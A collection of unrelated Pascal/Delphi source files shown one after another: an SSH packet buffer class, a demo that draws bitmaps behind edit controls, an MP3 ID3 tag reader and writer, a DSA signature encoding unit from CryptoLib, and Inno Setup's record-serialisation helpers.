if((Result[0] and $80) <> 0) then
begin
SetLength(bar, Length(Result) + 1);
bar[0] := 0; // ??
System.Move(Result[0], bar[1], Length(Result));
Result := bar;
end;
end;
function TclPacket.GetOffSet: Integer;
begin
Result := FS;
end;
function TclPacket.GetShort: Integer;
begin
Result := Integer(ByteArrayReadWord(Buffer, FS));
end;
function TclPacket.GetString(var AStart, ALen: TclIntArray): TclByteArray;
var
i: Integer;
begin
i := GetInt();
AStart[0] := GetByte(i);
ALen[0] := i;
Result := Buffer;
end;
procedure TclPacket.PutByte(const AFoo: Byte);
begin
Buffer[FIndex] := AFoo;
Inc(FIndex);
end;
procedure TclPacket.PutByte(const AFoo: TclByteArray);
begin
PutByte(AFoo, 0, Length(AFoo));
end;
procedure TclPacket.Padding(ARandom: TclRandom; BSize: Integer);
var
len, ind, pad: Integer;
begin
len := FIndex;
pad := (-len) and (BSize - 1);
if (pad < BSize) then
begin
Inc(pad, BSize);
end;
len := DWORD(len + pad - 4);
ind := 0;
ByteArrayWriteDWord(len, Buffer, ind);
Buffer[4] := Byte(pad);
ARandom.Fill(Buffer, FIndex, pad);
Skip(pad);
end;
procedure TclPacket.PutByte(const AFoo: TclByteArray; ABegin, ALength: Integer);
begin
if (ALength > 0) then
begin
System.Move(AFoo[ABegin], Buffer[FIndex], ALength);
Inc(FIndex, ALength);
end;
end;
procedure TclPacket.PutInt(V: Integer);
begin
ByteArrayWriteDWord(DWORD(V), Buffer, FIndex);
end;
procedure TclPacket.PutLong(V: Int64);
begin
ByteArrayWriteInt64(V, Buffer, FIndex);
end;
procedure TclPacket.PutMPInt(const AFoo: TclByteArray);
var
i: Integer;
begin
i := Length(AFoo);
if((AFoo[0] and $80) <> 0) then
begin
Inc(i);
PutInt(i);
PutByte(0);
end else
begin
PutInt(i);
end;
PutByte(AFoo);
end;
procedure TclPacket.PutString(const AFoo: TclByteArray);
begin
PutString(AFoo, 0, Length(AFoo));
end;
procedure TclPacket.PutString(const AFoo: TclByteArray; ABegin, ALength: Integer);
begin
PutInt(ALength);
PutByte(AFoo, ABegin, ALength);
end;
function TclPacket.GetString: TclByteArray;
var
i: Integer;
begin
i := GetInt();
SetLength(Result, i);
GetByte(Result, 0, i);
end;
procedure TclPacket.Reset;
begin
FIndex := 5;
end;
procedure TclPacket.Init;
begin
FIndex := 0;
FS := 0;
end;
procedure TclPacket.Rewind;
begin
FS := 0;
end;
procedure TclPacket.SetIndex(Value: Integer);
begin
FIndex := Value;
end;
procedure TclPacket.SetOffSet(Value: Integer);
begin
FS := Value;
end;
procedure TclPacket.Skip(N: Integer);
begin
Inc(FIndex, N);
end;
function TclPacket.Shift(ALen, AMac: Integer): Integer;
var
s, pad: Integer;
begin
s := ALen + 5 + 9;
pad := (-s) and 7;
if (pad < 8) then
begin
Inc(pad, 8);
end;
Inc(s, pad);
Inc(s, AMac);
System.Move(Buffer[ALen + 5 + 9], Buffer[s], FIndex - 5 - 9 - ALen);
FIndex := 10;
PutInt(ALen);
FIndex := ALen + 5 + 9;
Result := s;
end;
procedure TclPacket.Unshift(ACommand: Byte; ARecipient, S, ALen: Integer);
begin
System.Move(Buffer[S], Buffer[5 + 9], ALen);
Buffer[5] := ACommand;
FIndex := 6;
PutInt(ARecipient);
PutInt(ALen);
FIndex := ALen + 5 + 9;
end;
end.
|
unit UMainForm;
{
This Demo application shows, how to use a bitmap as a background for edit controls.
Diese Demoprogramm zeigt, wie man ein Bitmap als Hintergrundbild für Edit-Controls
verwenden kann.
Andreas Schmidt, 6.7.2004
}
interface
uses
Windows, Messages, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
BtnCreateBrush: TButton;
Edit1: TEdit;
Image1: TImage;
BtnFreeBrush: TButton;
ChkUseBitmap: TCheckBox;
Button1: TButton;
OpenDialog1: TOpenDialog;
procedure BtnCreateBrushClick(Sender: TObject);
procedure BtnFreeBrushClick(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private-Deklarationen }
FEditBrush : TBrush;
procedure SetBrushButtons(c:Boolean);
protected
procedure WMCtlColorEdit(var msg:TMessage); message WM_CTLCOLOREDIT;
procedure WMCtlColorBtn(var msg:TMessage); message WM_CTLCOLORBTN;
procedure WMCtlColordlg(var msg:TMessage); message WM_CTLCOLORDLG;
public
{ Public-Deklarationen }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
uses SysUtils;
{ TForm1 }
procedure TForm1.WMCtlColorEdit(var msg: TMessage);
begin
if Assigned(FEditBrush) then
begin
msg.Result := FEditBrush.Handle;
end;
end;
procedure TForm1.WMCtlColorBtn(var msg: TMessage);
begin
if Assigned(FEditBrush) then
begin
msg.Result := FEditBrush.Handle;
end;
end;
procedure TForm1.WMCtlColordlg(var msg: TMessage);
begin
if Assigned(FEditBrush) then
begin
msg.Result := FEditBrush.Handle;
end;
end;
procedure TForm1.BtnCreateBrushClick(Sender: TObject);
begin
FreeAndNil(FEditBrush);
FEditBrush := TBrush.Create;
if ChkUseBitmap.Checked then
begin
FEditBrush.Bitmap := Image1.Picture.Bitmap;
end
else
begin
FEditBrush.Color := clRed;
FEditBrush.Style := bsDiagCross;
end;
// the control must repainted
// Das Control muss neu gezeichnet werden
Edit1.Repaint;
SetBrushButtons(false);
end;
procedure TForm1.BtnFreeBrushClick(Sender: TObject);
begin
// free the brush
// Brush freigeben
FreeAndNil(FEditBrush);
// the control must repainted
// Das Control muss neu gezeichnet werden
Edit1.Repaint;
SetBrushButtons(True);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
OpenDialog1.Execute;
end;
procedure TForm1.SetBrushButtons(c: Boolean);
begin
BtnCreateBrush.Enabled := c;
BtnFreeBrush.Enabled := not c;
end;
end.
|
unit mp3file;
{$mode objfpc}{$H+}
interface
uses Classes, SysUtils, debug;
Const ID3Genre: array[0..147] of string[32] = ('', 'Classic Rock', 'Country', 'Dance',
'Disco', 'Funk', 'Grunge',
'Hip-Hop', 'Jazz', 'Metal', 'New Age', 'Oldies', 'Other', 'Pop', 'R&B',
'Rap', 'Reggae', 'Rock', 'Techno', 'Industrial', 'Alternative', 'Ska',
'Death Metal', 'Pranks', 'Soundtrack', 'Euro-Techno', 'Ambient', 'Trip-Hop',
'Vocal', 'Jazz&Funk', 'Fusion', 'Trance', 'Classical', 'Instrumental',
'Acid', 'House', 'Game', 'Sound Clip', 'Gospel', 'Noise', 'Alternative Rock',
'Bass', 'Soul', 'Punk', 'Space', 'Meditative', 'Instrumental Pop',
'Instrumental Rock', 'Ethnic', 'Gothic', 'Darkwave', 'Techno-Industrial',
'Electronic', 'Pop-Folk', 'Eurodance', 'Dream', 'Southern Rock', 'Comedy',
'Cult', 'Gangsta', 'Top 40', 'Christian Rap', 'Pop/Funk', 'Jungle',
'Native US', 'Cabaret', 'New Wave', 'Psychedelic', 'Rave', 'Showtunes',
'Trailer', 'Lo-Fi', 'Tribal', 'Acid Punk', 'Acid Jazz', 'Polka', 'Retro',
'Musical', 'Rock & Roll', 'Hard Rock', 'Folk', 'Folk-Rock', 'National Folk',
'Swing', 'Fast Fusion', 'Bebob', 'Latin', 'Revival', 'Celtic', 'Bluegrass',
'Avantgarde', 'Gothic Rock', 'Progressive Rock', 'Psychedelic Rock',
'Symphonic Rock', 'Slow Rock', 'Big Band', 'Chorus', 'Easy Listening',
'Acoustic', 'Humour', 'Speech', 'Chanson', 'Opera', 'Chamber Music',
'Sonata', 'Symphony', 'Booty Bass', 'Primus', 'Porn Groove', 'Satire',
'Slow Jam', 'Club', 'Tango', 'Samba', 'Folklore', 'Ballad', 'Power Ballad',
'Rhythmic Soul', 'Freestyle', 'Duet', 'Punk Rock', 'Drum Solo', 'A capella',
'Euro-House', 'Dance Hall', 'Goa', 'Drum’n’Bass', 'Club-House', 'Hardcore',
'Terror', 'Indie', 'BritPop', 'Negerpunk', 'Polsk Punk', 'Beat',
'Christian Gangsta', 'Heavy Metal', 'Black Metal', 'Crossover',
'Contemporary Christian', 'Christian Rock', 'Merengue', 'Salsa',
'Thrash Metal', 'Anime', 'JPop', 'SynthPop');
type
{ TMP3File }
TMP3File = class
private
FArtist, FTitle, FAlbum, FTrack, FYear, FComment, FPlaytime: string;
FSamplerate, FBitrate, FPlaylength: integer;
FGenreID: byte;
FFileName: string;
procedure ReadHeader;
function GetId3V1Track: Integer;
public
constructor create;
function ReadTag(Filename: string):boolean;
function WriteTag(Filename: string):boolean;
property Artist: string read FArtist write FArtist;
property Album: string read FAlbum write FAlbum;
property Title: string read FTitle write FTitle;
property Track: string read FTrack write FTrack;
property Year: string read FYear write FYear;
property Comment: string read FComment write FComment;
property GenreID: byte read FGenreID write FGenreID;
property Playtime: string read FPlaytime;
property Playlength: integer read FPlaylength;
property Bitrate: integer read FBitrate;
property Samplerate: integer read FSamplerate;
end;
implementation
uses functions, config;
Const BitratesTable: array[0..15] Of integer = (0, 32, 40, 48, 56, 64, 80, 96, 112, 128, 160, 192,
224, 256, 320, 999);
SampleratesTable: array[0..3] Of integer = (44100, 48000, 32100, 0);
//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
{ TMP3File }
//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
procedure TMP3File.ReadHeader;
var FileStream: TFileStream;
buf: array [0..255] of byte;
b: byte;
i, z: integer;
size: int64;
begin
FileStream:=TFileStream.Create(FFileName, fmOpenRead);
{calculating playtime}
FileStream.Seek(0,fsfrombeginning);
FileStream.Read(buf, SizeOf(buf));
size:=FileStream.Size;
i := 0;
z := 1;
Repeat
Begin
// iterate buf to finde mpeg header start sequenz
// start sequenz is 1111 1111 1111 10xx = $FF $Fx
inc(i);
If i=high(buf)-2 Then
Begin
// if reached end of buf, read next part of file to buf
FileStream.Seek((i*z)-8, fsFromBeginning);
FileStream.Read(buf,high(buf));
inc(z);
i := 1;
End;
End;
Until ((buf[i]=$FF) And ((buf[i+1] Or $3)=$FB)) Or (z>256);
// until mpgeg header start seuqenz found
FileStream.Free;
If (buf[i]=$FF) And ((buf[i+1] Or $3)=$FB) Then
Begin
//if header found then do
b := buf[i+2] shr 4;
//shift the byte containing the bitrate right by 4 positions
// bbbb xxxx -> 0000 bbbb
// b : bitrate bits, x: any other bits
If b > 15 Then b := 0;
FBitrate := BitratesTable[b];
// select bitrate at index b from table bitrates
b := buf[i+2] And $0F;
// the same with samplerate byte
b := b shr 2;
If b > 3 Then b := 3;
FSamplerate := SampleratesTable[b];
// select samplerate at index b from table samplerates
If FBitrate>0 Then
Begin
FPlaylength := round(size / (bitrate*125));
//calculate playlength from bitrate and samplerate
FPlaytime := SecondsToFmtStr(FPlaylength);
// doesn't work with VBR files !
End;
End
Else DebugOutLn('[TMP3File.ReadHeader] '+FFileName+' -> no valid mpeg header found', 0);
end;
function TMP3File.GetId3V1Track: Integer;
begin
result := pos('/', FTrack);
if result>0 then
result := StrToIntDef(Copy(FTrack, 1, result-1), 0)
else
result := StrToIntDef(FTrack, 0);
if result>255 then
result := 255
else
if result<0 then
result := 0;
end;
constructor TMP3File.create;
begin
end;
//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
function GetCString(var p:pchar; MaxLen: Integer): string;
begin
SetLength(result, MaxLen);
StrLCopy(@result[1], p, MaxLen);
Inc(P, MaxLen);
MaxLen := StrLen(@result[1]);
SetLength(Result, MaxLen);
end;
function TMP3File.ReadTag(Filename: string): boolean;
Var i, z, tagpos: integer;
b: byte;
//TODO: Implement reading as TFilestream to reduce buffering/buffer size
buf: array[1..2048] Of byte;
artistv2, albumv2, titlev2, commentv2, yearv2, trackv2: string;
bufstr: string;
mp3filehandle: longint;
iso: boolean;
p: pchar;
function GetID3TagStr: string;
begin
result := copy(bufstr,i+11,buf[i+7]-1);
iso := bufstr[i+10]=#0;
if bufstr[i+10] in [#0,#3] then
// string is ISO-8859-1 or UTF-8 (2.4) encoded, can be trimmed
result := TrimRight(result);
end;
Begin
FFileName:=Filename;
ReadHeader;
Try
mp3filehandle := fileopen(Filename, fmOpenRead);
{reading ID3-tags}
fileseek(mp3filehandle,0,fsfrombeginning);
fileread(mp3filehandle,buf,high(buf));
bufstr := '';
For i:= 1 To high(buf) Do
If {(buf[i]<>0) and }(buf[i]<>10) Then bufstr := bufstr+char(buf[i])
Else bufstr := bufstr+' ';
// filter #10 and 0, replace by ' '
{id3v2}
albumv2 := '';
artistv2 := '';
titlev2 := '';
trackv2 := '';
yearv2 := '';
If pos('ID3',bufstr)<> 0 Then
Begin
i := pos('TPE1',bufstr);
If i<> 0 Then artistv2 := GetID3TagStr;
i := pos('TP1',bufstr);
If i<> 0 Then artistv2 := copy(bufstr,i+7,buf[i+5]-1);
i := pos('TIT2',bufstr);
If i<> 0 Then titlev2 := GetID3TagStr;
i := pos('TT2',bufstr);
If i<> 0 Then titlev2 := copy(bufstr,i+7,buf[i+5]-1);
i := pos('TRCK',bufstr);
If i<> 0 Then
trackv2 := GetID3TagStr;
i := pos('TRK',bufstr);
If i<> 0 Then begin
trackv2 := copy(bufstr,i+7,buf[i+5]-1);
If length(trackv2)>3 Then
trackv2 := '';
end;
i := pos('TAL',bufstr);
If i<> 0 Then albumv2 := copy(bufstr,i+7,buf[i+5]-1);
i := pos('TALB',bufstr);
If i<> 0 Then albumv2 := GetID3TagStr;
i := pos('TYE',bufstr);
If i<> 0 Then yearv2 := copy(bufstr,i+7,buf[i+5]-1);
i := pos('TYER',bufstr);
If i<> 0 Then begin
yearv2 := GetID3TagStr;
If iso and (length(yearv2)>5) Then
yearv2 := '';
end;
End;
except
DebugOutLn('[TMP3File.ReadTag] '+Filename+' -> exception while reading id3v2 tag... skipped!!', 0);
end;
{id3v1}
try
fileseek(mp3filehandle,-128, fsfromend);
fileread(mp3filehandle,buf,128);
bufstr := '';
For i:= 1 To 128 Do bufstr := bufstr+char(buf[i]);
For i:= 1 To 128 Do
Begin
b := byte(bufstr[i]);
If (b<32) Then bufstr[i] := #32;
//TODO: This also replaces line breaks!!
// Done here because line breaks in tags collapse cactus database
// file which uses a fixed linecount for one entry
End;
tagpos := pos('TAG',bufstr)+3;
If tagpos<>3 Then
Begin
p := @buf[4];
ftitle := UTF8Encode(GetCString(P, 30));
fartist := UTF8Encode(GetCString(P, 30));
falbum := UTF8Encode(GetCString(P, 30));
fyear := UTF8Encode(GetCString(P, 4));
fcomment := UTF8Encode(GetCString(P, 30));
// now p is pointing to genreid
fgenreid := ord(P^);
if fgenreid>high(ID3Genre) then
fgenreid := 0;
// now check for id3v1.1
dec(p); // last byte of comment
if (p^<>#0) and ((p-1)^=#0) then
ftrack := IntToStr(ord(p^))
else
ftrack := '';
End; // else writeln('no id3v1 tag');
except
DebugOutLn('TMP3File.ReadTag] '+Filename+
' -> exception while reading id3v1 tag... skipped!!', 0);
end;
(* {$IFNDEF WINDOWS}
If ((artistv2<>'')) And (CactusConfig.id3v2_prio Or (artist='')) Then Fartist := artistv2;
If ((titlev2<>'')) And (CactusConfig.id3v2_prio Or (title='')) Then Ftitle := titlev2;
If ((albumv2<>'')) And (CactusConfig.id3v2_prio Or (album='')) Then Falbum := albumv2;
If ((commentv2<>'')) And (CactusConfig.id3v2_prio Or (comment='')) Then Fcomment := commentv2;
{$ELSE} *)
if Length(Trim(fartist)) <> 0 then begin
If ((artistv2<>'')) And (CactusConfig.id3v2_prio Or (artist='')) Then Fartist := UTF8Encode(artistv2);
end else Fartist := artistv2;
if Length(Trim(Ftitle)) <> 0 then begin
If ((titlev2<>'')) And (CactusConfig.id3v2_prio Or (title='')) Then Ftitle := UTF8Encode(titlev2);
end else Ftitle := titlev2;
if Length(Trim(Falbum)) <> 0 then begin
If ((albumv2<>'')) And (CactusConfig.id3v2_prio Or (album='')) Then Falbum := UTF8Encode(albumv2);
end else Falbum := albumv2;
if Length(Trim(Fcomment)) <> 0 then begin
If ((commentv2<>'')) And (CactusConfig.id3v2_prio Or (comment='')) Then Fcomment := UTF8Encode(commentv2);
end else Fcomment := commentv2;
// {$ENDIF}
If ((yearv2<>'')) And (CactusConfig.id3v2_prio Or (year='')) Then Fyear := yearv2;
If ((trackv2<>'')) And (CactusConfig.id3v2_prio Or (track='')) Then ftrack := trackv2;
fileclose(mp3filehandle);
end;
//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
function TMP3File.WriteTag(Filename: string): boolean;
Var
buf: array[1..1024] Of byte;
bufstr, tmptag, tmps: string;
i, z: integer;
id3v1str: string[31];
mp3filehandle: THandle;
Begin
{id3v2}
mp3filehandle := fileopen(Filename,fmOpenRead);
fileseek(mp3filehandle, 0, fsfrombeginning);
fileread(mp3filehandle, buf, high(buf));
fileclose(mp3filehandle);
For i:= 1 To high(buf) Do
bufstr := bufstr+char(buf[i]);
If (pos('ID3',bufstr) <> 0) Or (length(artist)>30) Or (length(title)>30) Or (length(album)>30)
Then
Begin
If pos('ID3',bufstr) = 0 Then
Begin {create new ID3v2 Tag skeleton}
bufstr := '';
bufstr := 'ID3'+char($03)+char(0)+char(0)+char(0)+char(0)+char(0)+char(0);
{ID3 03 00 00 00 00 00 00}
tmps := char(0)+char(0)+char(0)+char(2)+char(0)+char(0)+char(0)+' ';
bufstr := bufstr+'TPE1'+tmps+'TIT2'+tmps+'TRCK'+tmps+'TYER'+tmps+'TALB'+tmps+char(0)+
char(0);
DebugOutLn('creating new ID3v2 tag!', 0);
DebugOutLn(bufstr, 0);
z := length(bufstr)-1;
For i:= z To high(buf) Do
bufstr := bufstr+char(0);
End;
// Now lets write the tags
i := pos('TPE1',bufstr);
If i<> 0 Then
Begin
tmptag := (artist);
If length(tmptag)>0 Then
Begin
Delete(bufstr, i+11, byte(bufstr[i+7])-1);
Insert(tmptag, bufstr, i+11);
bufstr[i+7] := char(length(tmptag)+1);
End
Else Delete(bufstr, i, byte(bufstr[i+7])+10);
End
Else
Begin
tmptag := (artist);
If length(tmptag)>0 Then
Begin
tmps := char(0)+char(0)+char(0)+char(length(tmptag)+1)+char(0)+char(0)+char(0);
Insert('TPE1'+tmps+(tmptag), bufstr, pos('ID3',bufstr)+10);
End;
End;
i := pos('TP1',bufstr);
If i<> 0 Then
Begin
tmptag := (artist);
Delete(bufstr, i, byte(bufstr[i+5])+6);
//delete whole TP1 tag
End;
i := pos('TIT2',bufstr);
If i<> 0 Then
Begin
tmptag := (title);
If length(tmptag)>0 Then
Begin
Delete(bufstr, i+11, byte(bufstr[i+7])-1);
Insert(tmptag, bufstr, i+11);
bufstr[i+7] := char(length(tmptag)+1);
End
Else Delete(bufstr, i, byte(bufstr[i+7])+10);
End
Else
Begin
tmptag := UTF8toLatin1(title);
If length(tmptag)>0 Then
Begin
tmps := char(0)+char(0)+char(0)+char(length(tmptag)+1)+char(0)+char(0)+char(0);
Insert('TIT2'+tmps+tmptag, bufstr, pos('ID3',bufstr)+10);
End;
End;
i := pos('TRCK',bufstr);
If i<> 0 Then
Begin
tmptag := (track);
If length(tmptag)>0 Then
Begin
Delete(bufstr, i+11, byte(bufstr[i+7])-1);
Insert(tmptag, bufstr, i+11);
bufstr[i+7] := char(length(tmptag)+1);
End
Else Delete(bufstr, i, byte(bufstr[i+7])+10);
End
Else
Begin
tmptag := UTF8toLatin1(track);
If length(tmptag)>0 Then
Begin
tmps := char(0)+char(0)+char(0)+char(length(tmptag)+1)+char(0)+char(0)+char(0);
Insert('TRCK'+tmps+tmptag, bufstr, pos('ID3',bufstr)+10);
End;
End;
i := pos('TYER',bufstr);
If i<> 0 Then
Begin
tmptag := (year);
If length(tmptag)>0 Then
Begin
Delete(bufstr, i+11, byte(bufstr[i+7])-1);
Insert(tmptag, bufstr, i+11);
bufstr[i+7] := char(length(tmptag)+1);
End
Else Delete(bufstr, i, byte(bufstr[i+7])+10);
End
Else
Begin
tmptag := (year);
If length(tmptag)>0 Then
Begin
tmps := char(0)+char(0)+char(0)+char(length(tmptag)+1)+char(0)+char(0)+char(0);
Insert('TYER'+tmps+tmptag, bufstr, pos('ID3',bufstr)+10);
End;
End;
i := pos('TALB',bufstr);
If i<> 0 Then
Begin
tmptag := (album);
If length(tmptag)>0 Then
Begin
Delete(bufstr, i+11, byte(bufstr[i+7])-1);
Insert(tmptag, bufstr, i+11);
bufstr[i+7] := char(length(tmptag)+1);
End
Else Delete(bufstr, i, byte(bufstr[i+7])+10);
End
Else
Begin
tmptag := (album);
If length(tmptag)>0 Then
Begin
tmps := char(0)+char(0)+char(0)+char(length(tmptag)+1)+char(0)+char(0)+char(0);
Insert('TALB'+tmps+tmptag, bufstr, pos('ID3',bufstr)+10);
End;
End;
z := length(bufstr)-1;
For i:= 1 To high(buf) Do
If (i<z) Then buf[i] := byte(bufstr[i])
Else buf[i] := 0;
mp3filehandle := fileopen(Filename,fmOpenWrite);
If mp3filehandle<>-1 Then
Begin
fileseek(mp3filehandle,0,fsfrombeginning);
filewrite(mp3filehandle,buf,high(buf));
fileclose(mp3filehandle);
End
Else DebugOutLn('ERROR: cant write tag. file not found', 0);
End;
{id3v1}
DebugOutLn('#####ID3V1#######', 0);
For i:=1 To 128 Do
buf[i] := 0;
buf[1] := 84;
buf[2] := 65;
buf[3] := 71; {TAG}
FillChar(id3v1str, SizeOf(id3v1str), #0);
id3v1str := (title);
For i:= 4 To 33 Do
buf[i] := byte(id3v1str[i-3]);
FillChar(id3v1str, SizeOf(id3v1str), #0);
id3v1str := (artist);
For i:= 34 To 63 Do
buf[i] := byte(id3v1str[i-33]);
FillChar(id3v1str, SizeOf(id3v1str), #0);
id3v1str := (album);
For i:= 64 To 93 Do
buf[i] := byte(id3v1str[i-63]);
FillChar(id3v1str, SizeOf(id3v1str), #0);
id3v1str := (year);
For i:= 94 To 97 Do
buf[i] := byte(id3v1str[i-93]);
FillChar(id3v1str, SizeOf(id3v1str), #0);
id3v1str := (comment);
For i:= 98 To 127 Do
buf[i] := byte(id3v1str[i-97]);
If length(track)>0 Then
Begin
buf[126] := 0;
buf[127] := GetId3V1Track;
End;
mp3filehandle := fileopen(Filename,fmOpenWrite);
If mp3filehandle<>-1 Then
Begin
If FileGetAttr(Filename)=faReadOnly Then DebugOutLn('file is read only', 0);
fileseek(mp3filehandle,-128,fsfromend);
DebugOutLn(ftitle,0);
DebugOutLn(fartist,0);
filewrite(mp3filehandle,buf,128);
fileclose(mp3filehandle);
End
Else DebugOutLn('ERROR: cant write tag. file not found',0);
end;
//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
end.
|
{ *********************************************************************************** }
{ * CryptoLib Library * }
{ * Copyright (c) 2018 - 20XX Ugochukwu Mmaduekwe * }
{ * Github Repository <https://github.com/Xor-el> * }
{ * Distributed under the MIT software license, see the accompanying file LICENSE * }
{ * or visit http://www.opensource.org/licenses/mit-license.php. * }
{ * Acknowledgements: * }
{ * * }
{ * Thanks to Sphere 10 Software (http://www.sphere10.com/) for sponsoring * }
{ * development of this library * }
{ * ******************************************************************************* * }
(* &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& *)
unit ClpStandardDsaEncoding;
{$I ..\..\Include\CryptoLib.inc}
interface
uses
ClpIAsn1Sequence,
ClpIDerInteger,
ClpBigInteger,
ClpIDsaEncoding,
ClpIStandardDsaEncoding,
ClpAsn1Object,
ClpDerInteger,
ClpDerSequence,
ClpIDerSequence,
ClpAsn1Encodable,
ClpArrayUtils,
ClpCryptoLibTypes;
resourcestring
SMalformedSignature = 'Malformed signature, "%s"';
SValueOutOfRange = 'Value out of range, "%s"';
type
TStandardDsaEncoding = class(TInterfacedObject, IDsaEncoding,
IStandardDsaEncoding)
strict private
class var
FInstance: IStandardDsaEncoding;
class function GetInstance: IStandardDsaEncoding; static; inline;
class constructor StandardDsaEncoding();
strict protected
function CheckValue(const n, x: TBigInteger): TBigInteger; virtual;
function DecodeValue(const n: TBigInteger; const s: IAsn1Sequence;
pos: Int32): TBigInteger; virtual;
function EncodeValue(const n, x: TBigInteger): IDerInteger; virtual;
public
function Decode(const n: TBigInteger; const encoding: TCryptoLibByteArray)
: TCryptoLibGenericArray<TBigInteger>; virtual;
function Encode(const n, r, s: TBigInteger): TCryptoLibByteArray; virtual;
class property Instance: IStandardDsaEncoding read GetInstance;
end;
implementation
{ TStandardDsaEncoding }
function TStandardDsaEncoding.CheckValue(const n, x: TBigInteger): TBigInteger;
begin
if ((x.SignValue < 0) or ((n.IsInitialized) and (x.CompareTo(n) >= 0))) then
begin
raise EArgumentCryptoLibException.CreateResFmt(@SValueOutOfRange, ['x']);
end;
result := x;
end;
function TStandardDsaEncoding.Decode(const n: TBigInteger;
const encoding: TCryptoLibByteArray): TCryptoLibGenericArray<TBigInteger>;
var
seq: IAsn1Sequence;
r, s: TBigInteger;
expectedEncoding: TCryptoLibByteArray;
begin
seq := TAsn1Object.FromByteArray(encoding) as IAsn1Sequence;
if (seq.Count = 2) then
begin
r := DecodeValue(n, seq, 0);
s := DecodeValue(n, seq, 1);
expectedEncoding := Encode(n, r, s);
if (TArrayUtils.AreEqual(expectedEncoding, encoding)) then
begin
result := TCryptoLibGenericArray<TBigInteger>.Create(r, s);
Exit;
end;
end;
raise EArgumentCryptoLibException.CreateResFmt(@SMalformedSignature,
['encoding']);
end;
function TStandardDsaEncoding.DecodeValue(const n: TBigInteger;
const s: IAsn1Sequence; pos: Int32): TBigInteger;
begin
result := CheckValue(n, (s[pos] as IDerInteger).Value);
end;
function TStandardDsaEncoding.Encode(const n, r, s: TBigInteger)
: TCryptoLibByteArray;
var
LTemp: IDerSequence;
begin
LTemp := TDerSequence.Create([EncodeValue(n, r), EncodeValue(n, s)])
as IDerSequence;
result := LTemp.GetEncoded(TAsn1Encodable.Der);
end;
function TStandardDsaEncoding.EncodeValue(const n, x: TBigInteger): IDerInteger;
begin
result := TDerInteger.Create(CheckValue(n, x));
end;
class function TStandardDsaEncoding.GetInstance: IStandardDsaEncoding;
begin
result := FInstance;
end;
class constructor TStandardDsaEncoding.StandardDsaEncoding;
begin
FInstance := TStandardDsaEncoding.Create();
end;
end.
|
unit SetupEnt;
{
Inno Setup
Copyright (C) 1997-2004 Jordan Russell
Portions by Martijn Laan
For conditions of distribution and use, see LICENSE.TXT.
Functions for handling records with embedded long strings
$jrsoftware: issrc/Projects/SetupEnt.pas,v 1.6 2009/05/27 10:03:49 mlaan Exp $
}
interface
uses
Compress;
procedure SEFreeRec(const P: Pointer; const NumStrings, NumAnsiStrings: Integer);
procedure SEDuplicateRec(OldP, NewP: Pointer; Bytes: Cardinal;
const NumStrings, NumAnsiStrings: Integer);
procedure SECompressedBlockWrite(const W: TCompressedBlockWriter; var Buf;
const Count: Cardinal; const NumStrings, NumAnsiStrings: Integer);
procedure SECompressedBlockRead(const R: TCompressedBlockReader; var Buf;
const Count: Cardinal; const NumStrings, NumAnsiStrings: Integer);
implementation
procedure SEFreeRec(const P: Pointer; const NumStrings, NumAnsiStrings: Integer);
var
AnsiP: Pointer;
begin
if P = nil then Exit;
if NumStrings > 0 then { Finalize in Delphi versions < 5 can't be called with zero count }
Finalize(String(P^), NumStrings);
if NumAnsiStrings > 0 then begin
AnsiP := P;
Inc(Cardinal(AnsiP), NumStrings*SizeOf(Pointer));
Finalize(AnsiString(AnsiP^), NumAnsiStrings);
end;
FreeMem(P);
end;
procedure SEDuplicateRec(OldP, NewP: Pointer; Bytes: Cardinal;
const NumStrings, NumAnsiStrings: Integer);
var
I: Integer;
begin
for I := 1 to NumStrings do begin
String(NewP^) := String(OldP^);
Inc(Cardinal(OldP), SizeOf(Pointer));
Inc(Cardinal(NewP), SizeOf(Pointer));
Dec(Bytes, SizeOf(Pointer));
end;
for I := 1 to NumAnsiStrings do begin
AnsiString(NewP^) := AnsiString(OldP^);
Inc(Cardinal(OldP), SizeOf(Pointer));
Inc(Cardinal(NewP), SizeOf(Pointer));
Dec(Bytes, SizeOf(Pointer));
end;
Move(OldP^, NewP^, Bytes);
end;
procedure SECompressedBlockWrite(const W: TCompressedBlockWriter; var Buf;
const Count: Cardinal; const NumStrings, NumAnsiStrings: Integer);
var
P: Pointer;
I: Integer;
Len: Integer;
begin
P := @Buf;
for I := 1 to NumStrings do begin
Len := Length(String(P^))*SizeOf(Char);
W.Write(Len, SizeOf(Len));
if Len <> 0 then
W.Write(Pointer(P^)^, Len);
Inc(Cardinal(P), SizeOf(Pointer));
end;
for I := 1 to NumAnsiStrings do begin
Len := Length(AnsiString(P^));
W.Write(Len, SizeOf(Len));
if Len <> 0 then
W.Write(Pointer(P^)^, Len);
Inc(Cardinal(P), SizeOf(Pointer));
end;
W.Write(P^, Count - (Cardinal(NumStrings + NumAnsiStrings) * SizeOf(Pointer)));
end;
procedure SECompressedBlockRead(const R: TCompressedBlockReader; var Buf;
const Count: Cardinal; const NumStrings, NumAnsiStrings: Integer);
var
P: Pointer;
I: Integer;
Len: Integer;
S: String;
AnsiS: AnsiString;
begin
P := @Buf;
for I := 1 to NumStrings do begin
R.Read(Len, SizeOf(Len));
SetLength(S, Len div SizeOf(Char));
if Len <> 0 then
R.Read(S[1], Len);
String(P^) := S;
Inc(Cardinal(P), SizeOf(Pointer));
end;
for I := 1 to NumAnsiStrings do begin
R.Read(Len, SizeOf(Len));
SetLength(AnsiS, Len);
if Len <> 0 then
R.Read(AnsiS[1], Len);
AnsiString(P^) := AnsiS;
Inc(Cardinal(P), SizeOf(Pointer));
end;
R.Read(P^, Count - (Cardinal(NumStrings + NumAnsiStrings) * SizeOf(Pointer)));
end;
end.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.